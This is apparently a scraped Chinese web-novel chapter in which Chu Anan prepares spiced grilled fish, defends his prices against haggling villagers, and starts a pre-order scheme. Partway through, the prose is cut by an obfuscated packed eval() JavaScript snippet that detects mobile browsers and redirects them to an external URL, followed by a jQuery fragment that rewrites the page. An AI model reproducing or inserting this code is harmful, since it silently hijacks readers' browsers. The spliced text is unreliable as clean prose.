今早周润走后,褚安安开始处理鱼,他将剩下的五条鱼对半剖开,鱼面改花刀,往上抹盐,胡椒,生抽,小颗粒辣椒,花椒,葱段,姜片和油。
这步是给鱼去腥入味,做鱼去腥很重要。
然后起锅,热油,煎鱼,他对农村灶头的火候不熟悉,第一条煎坏了,只有放在旁边自己吃,第二条开始熟练起来。
鱼煎至两面金黄,捞出来放到一边的大盘子上备用。
锅不用洗继续倒油,放入葱段,姜末,洋葱粒,灯笼椒,最后倒入黄酒,小火慢慢炒。
接着再放香料,这点很重要,香料放的是小茴香,八角,豆蔻,桂皮和丁香,就是昨天他拿一碗水煮鱼找秀姐换的,这种香辛料很贵,平常人家一般不用,放了之后鱼不仅不腥,还非常辣,鲜,香,加水煮开后再放点小白菜进去。
白菜煮好后捞起来,放在大盘子底部打个底,这可是今早他翻箱倒柜许久,才找出的唯一一个大盘子。
接着把煎好的鱼放进鲜辣十足的浓汤里煮五分钟,这样鱼会非常入味,最后将鱼捞起放到盘子上,在鱼表面撒五香粉,芝麻,干辣椒,最后用热油一淋,香味瞬间爆开。
这香味比昨天的水煮鱼穿透力还要更强,剩下三条鱼重复以上操作,以至于一整个上午,他这整间屋子都飘满浓烈的香味。
因此吸引住不少乡亲,大家跟他不熟,也不敢打扰他,才全都站在门口,要不然早敲门了。
周润回来时,就见到十几人围在门口,他在旁边站着听了会儿,听明白了,一开始大家是抱着看笑话的心思来的,顺便近距离看看人,这下闻到满院子的香味,是真有点想买鱼。
他也觉得这味道太吸引人,比昨天的鱼更浓郁更香,忙推开门走进去,“家门口站了好多人,就为了等你的这个鱼。”
灶房里,褚安安已经开始最后的收尾工作,他把所有鱼放在一个大盘里,每条挨着放好,“人多最好,可以拿出去卖了。”
周润低头一看,发现今天的鱼和昨天的不一样,昨天是拿碗装的汤汤水水,今天是一整条烤鱼。
他以前在野外烤过鱼,那腥味不说了,要不是饿坏了他都不想吃,不像眼前这个鱼,完整的饱满一条,满满的烤鱼香。
他忍不住心潮澎湃:一定会大卖的!
因为他自己都忍不住想花钱来上一条,但安安是个大方的人,他要是开口说花钱买,说不定就免费送他了。
还是算了吧,他是伙计,不是雇主的朋友,而且他现在还是雇主包饭的佣工,怎么感觉自己天天免费吃美食还有工钱拿?
一想到这儿,他干劲十足的把桌子搬到门外。
看到门打开,门外的乡亲神情激动:“来了来了,终于出来了。”
他们终于看到爆炸香味的真面目,还真是鱼,不过瞧那色泽质地就知道烤的又酥又嫩,闻着也很香,光看着就想流口水,真想尝一口。
秀姐第一个走出来,豪迈的把铜钱往桌子上一拍:“四条给我全包了。”
这话一出,褚安安都愣了下,很快他说,“根据鱼的大小区别,分别卖15到18文一条,这里一共66文,看在你是开业的第一个客人,诚惠给60文就好。”
这话一出,四下炸开。
周润也傻了:我说会大卖,不是这么个大卖法!你怎么卖这么贵!能卖得出去吗?
人群中,一个年龄大的大爷点拨道:“县里都才卖几文钱一条的鱼,赵千户家的你可别好高骛远,还没做生意就砸了招牌。”
“县里卖几文钱的是生鱼,悦然客栈的红烧鱼卖22文1份,清蒸鲈鱼25文1份。”褚安安不卑不亢道,他是认真想赚钱,不打无准备之仗,所以这些都提前了解了的。
人群中不知是谁在不服:“你能跟悦然客栈比?”
“不瞒乡亲们,我这里面放了小茴香,八角,豆蔻,桂皮和丁香,这些香料钱都比鱼贵了,你们再看这色泽香味,我不认为比悦然客栈的差。”
有人想骂褚安安不知天高地厚,那悦然客栈可是县里的大客栈,他也好意思说不比人差,不过最后没骂出来,赵筠颐那句‘如果欺负我夫郎,我不会放过他们一家人’太有震慑力。
又有人道:“话虽这样说,但你在家门口卖,又不出房租又不出工钱,这鱼还是小溪里抓的,能有什么成本?这样吧,10文我就买一条。”
“对,10文1条我也买,不买我们就走了。”
“就是啊安哥儿,一看你就不会做生意,你要先用低价把客人吸引来,才会有回头客,现在叫这么高谁愿意买?”
“就是。”不少人附和。
褚安安完全不生气他们的质疑和反驳,这说明他们诚心想买,只是想压价而已,他也理解大家是想省钱。
但他后续不可能一直去小溪里捞鱼,要自己买鱼回来做,又是一项支出。
他理解大家压价,但面对这种压力他完全不想改,心里也没啥波动,毕竟想创业挣钱,顾客的质疑是合理的,他不至于为了这点质疑就上蹿下跳内耗自己,生怕挣不到钱。
旁边的周润跟他完全相反,一开始他也觉得褚安安卖贵了,后面听到说悦然客栈的鱼20多文一条,还放了那么多名贵香辛料,一下就觉得物有所值。
再听到乡亲们的质疑,他就老不乐意,只恨这些人没吃过安安做的东西,要是吃过,他们保准觉得自己赚翻了。
这时秀姐终于说话了,她不好意思道:“安哥儿,给我换成两条行不行?还能优惠吗?”
褚安安点头:“可以,今天是开业第一天,都会优惠一点。”
旁边看客忙开口:“秀姐你傻啊,两条30多文,我还不如买一斤猪肉了。”
他们农家人最喜欢猪肉,比羊肉牛肉便宜得多,还好吃,随便怎么做都好吃,那猪肥肉的荤腥一下肚,整个人都是畅快的。
结果秀姐道:“但就是比猪肉还好吃啊。”
众人震惊:啊?比猪肉还好吃?
秀姐点头:“对啊,昨天我们一家人都吃过了,虽然和今天的鱼不是同一种做法,但今天的还更香,不然你们以为我最开始为什么一口气要四条?我傻?”
说完她还细致的描述,昨天他们一家人是怎么一人一筷子不够夹,两小孩为了一片菜叶打起来的。
这可是他们村最富的人,最不缺肉了,都能为那一口吃的打起来。
看来褚安安的厨艺确实有点说法。
因着秀姐的这番话,又有另外两家不差钱的买走剩下两条鱼。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219154|197496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
眼见没鱼了,没买到的既庆幸自己不用花这个冤枉钱,又实在好奇究竟是什么味,纷纷往买了鱼的人家里凑热闹。
乡亲们走后,褚安安和周润就着烤糊的鱼当午饭,吃完就在院里歇息,等待‘预定’上门。
所谓‘预定’,是褚安安刚刚在乡亲们面前说的,他提出想吃鱼得提前说,比如今天预定明天来取。
现在四下安静,微风拂动,周润休息的惬意,脑子里一直琢磨着‘预定’这个主意。
越琢磨越觉得巧妙,他们这小本买卖,做了鱼没人买,那不浪费了?
或者突然某一天都想要鱼结果没准备做不出来,又赚不到钱。预定能保证他们做的每一条鱼都能卖出去,还能尽可能多的卖。
而且都是一个村的,过来预定很方便,也不怕别人预定了不给钱,除非他不想在村里混了。
简直是太绝妙的一个主意,方方面面都考虑到了。
一开始他很有信心,只是一下午都没来人预定,他忍不住心慌,“安安,你觉得有人再来买鱼吗?会不会价格定高了?我知道你做的很好吃完全值这个价,但别人不知道啊,咱们要不要先降价让大家知道你厨艺特别好,有很多人买之后再涨价?”
“就这个价不变,之后再涨价别人不骂死你?都一个村的,人家说你黑心老板。”
周润悻悻道:“好吧,也是。”
褚安安不怕没生意,选择做烤鱼是他精心思考过的,乡亲们爱节俭,不常买肉但又最馋那一口肉。
所以他不能卖雅致的高端食物,也不能卖素食或点心,就得这小溪里白捞出来的鱼最合适。
果然,到了下午太阳落山,三三两两来了很多孩童来预定鱼,一下预定出去十来条,比他想象的还好,他一开始以为最多只能卖几条。
悦然客栈一条鱼卖20多文,那是别人有口碑有格调,地理位置也好,他没口碑,还以为要慢慢养口碑才行,没想到一下开门红。
为了搞清楚为什么生意这么好,他还问了这些孩童。
从他们稚嫩的没逻辑的话里,拼凑出原因。
原来大家都去村长家蹭饭了。
事情是这样的,中午村长没在,村长家里人再馋也不敢一口气吃两条鱼,所以到了晚上村长回家,还剩一条完整的。
这时村长家多了许多蹭饭的。
都是村长同宗族的亲戚,既是亲戚又得有村长的气度,哪可能赶人走,热情招待都来不及。
可秀姐一看二三十人吃一条鱼哪里够,大操大办又太隆重了,又不是什么节庆日,所以她想了个办法。
在回锅加热鱼时加了半箩筐的青菜叶白菜叶,很多蹭饭的都没吃到鱼,只吃到白菜,都觉得味道不错。
饭桌上,他们夸秀姐这法子聪明,夸安哥儿手艺确实好。
所以在村长家吃过的,都过来预定鱼了。他们都是本地人,一大家子人特别多,如果能把一道鱼变成三四道菜的量,味道还格外不错,那确实很值。
褚安安明白了原理,心情颇好,他就说他最初想的没错,乡亲们追求“性价比”,得做便宜大碗好吃的肉食才行。
这不,一下预定10多条鱼出去。
他开始期待明天大干一场了。